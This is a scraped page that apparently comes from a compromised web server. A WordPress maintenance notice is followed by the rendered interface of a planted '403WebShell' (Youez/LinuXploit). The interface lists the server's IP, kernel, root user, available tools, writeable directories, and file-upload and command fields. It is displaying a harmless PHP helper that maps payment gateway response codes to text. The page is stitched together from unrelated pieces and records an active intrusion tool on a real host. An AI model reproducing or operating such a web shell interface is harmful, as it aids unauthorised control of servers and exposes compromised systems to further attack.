WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Util/PaymentCodesHelper.php
<?php
/**
 * Created by PhpStorm.
 * User: komu
 * Date: 23/04/19
 * Time: 22:56
 */

namespace App\Util;


class PaymentCodesHelper
{

//  ----------------------------------------------------------------------------

// This function uses the QSI Response code retrieved from the Digital
// Receipt and returns an appropriate description for the QSI Response Code
//
// @param $responseCode String containing the QSI Response Code
//
// @return String containing the appropriate description
//
    public static function getResultDescription($responseCode) {

        switch ($responseCode) {
            case "0" : $result = "Transaction Successful"; break;
            case "?" : $result = "Transaction status is unknown"; break;
            case "E" : $result = "Referred"; break;
            case "1" : $result = "Transaction Declined"; break;
            case "2" : $result = "Bank Declined Transaction"; break;
            case "3" : $result = "No Reply from Bank"; break;
            case "4" : $result = "Expired Card"; break;
            case "5" : $result = "Insufficient funds"; break;
            case "6" : $result = "Error Communicating with Bank"; break;
            case "7" : $result = "Payment Server detected an error"; break;
            case "8" : $result = "Transaction Type Not Supported"; break;
            case "9" : $result = "Bank declined transaction (Do not contact Bank)"; break;
            case "A" : $result = "Transaction Aborted"; break;
            case "C" : $result = "Transaction Cancelled"; break;
            case "D" : $result = "Deferred transaction has been received and is awaiting processing"; break;
            case "F" : $result = "3D Secure Authentication failed"; break;
            case "I" : $result = "Card Security Code verification failed"; break;
            case "L" : $result = "Shopping Transaction Locked (Please try the transaction again later)"; break;
            case "N" : $result = "Cardholder is not enrolled in Authentication scheme"; break;
            case "P" : $result = "Transaction has been received by the Payment Adaptor and is being processed"; break;
            case "R" : $result = "Transaction was not processed - Reached limit of retry attempts allowed"; break;
            case "S" : $result = "Duplicate SessionID (Amex Only)"; break;
            case "T" : $result = "Address Verification Failed"; break;
            case "U" : $result = "Card Security Code Failed"; break;
            case "V" : $result = "Address Verification and Card Security Code Failed"; break;
            default  : $result = "Unable to be determined";
        }
        return $result;
    }

//  ----------------------------------------------------------------------------

// This function uses the QSI AVS Result Code retrieved from the Digital
// Receipt and returns an appropriate description for this code.

// @param avsResultCode String containing the QSI AVS Result Code
// @return description String containing the appropriate description

   public static function getAVSResultDescription($avsResultCode) {

        if ($avsResultCode != "") {
            switch ($avsResultCode) {
                Case "Unsupported" : $result = "AVS not supported or there was no AVS data provided"; break;
                Case "X"  : $result = "Exact match - address and 9 digit ZIP/postal code"; break;
                Case "Y"  : $result = "Exact match - address and 5 digit ZIP/postal code"; break;
                Case "S"  : $result = "Service not supported or address not verified (international transaction)"; break;
                Case "G"  : $result = "Issuer does not participate in AVS (international transaction)"; break;
                Case "A"  : $result = "Address match only"; break;
                Case "W"  : $result = "9 digit ZIP/postal code matched, Address not Matched"; break;
                Case "Z"  : $result = "5 digit ZIP/postal code matched, Address not Matched"; break;
                Case "R"  : $result = "Issuer system is unavailable"; break;
                Case "U"  : $result = "Address unavailable or not verified"; break;
                Case "E"  : $result = "Address and ZIP/postal code not provided"; break;
                Case "N"  : $result = "Address and ZIP/postal code not matched"; break;
                Case "0"  : $result = "AVS not requested"; break;
                default   : $result = "Unable to be determined";
            }
        } else {
            $result = "null response";
        }
        return $result;
    }

//  ----------------------------------------------------------------------------

// This function uses the QSI CSC Result Code retrieved from the Digital
// Receipt and returns an appropriate description for this code.

// @param cscResultCode String containing the QSI CSC Result Code
// @return description String containing the appropriate description

   public static function getCSCResultDescription($cscResultCode) {

        if ($cscResultCode != "") {
            switch ($cscResultCode) {
                Case "Unsupported" : $result = "CSC not supported or there was no CSC data provided"; break;
                Case "M"  : $result = "Exact code match"; break;
                Case "S"  : $result = "Merchant has indicated that CSC is not present on the card (MOTO situation)"; break;
                Case "P"  : $result = "Code not processed"; break;
                Case "U"  : $result = "Card issuer is not registered and/or certified"; break;
                Case "N"  : $result = "Code invalid or not matched"; break;
                default   : $result = "Unable to be determined"; break;
            }
        } else {
            $result = "null response";
        }
        return $result;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit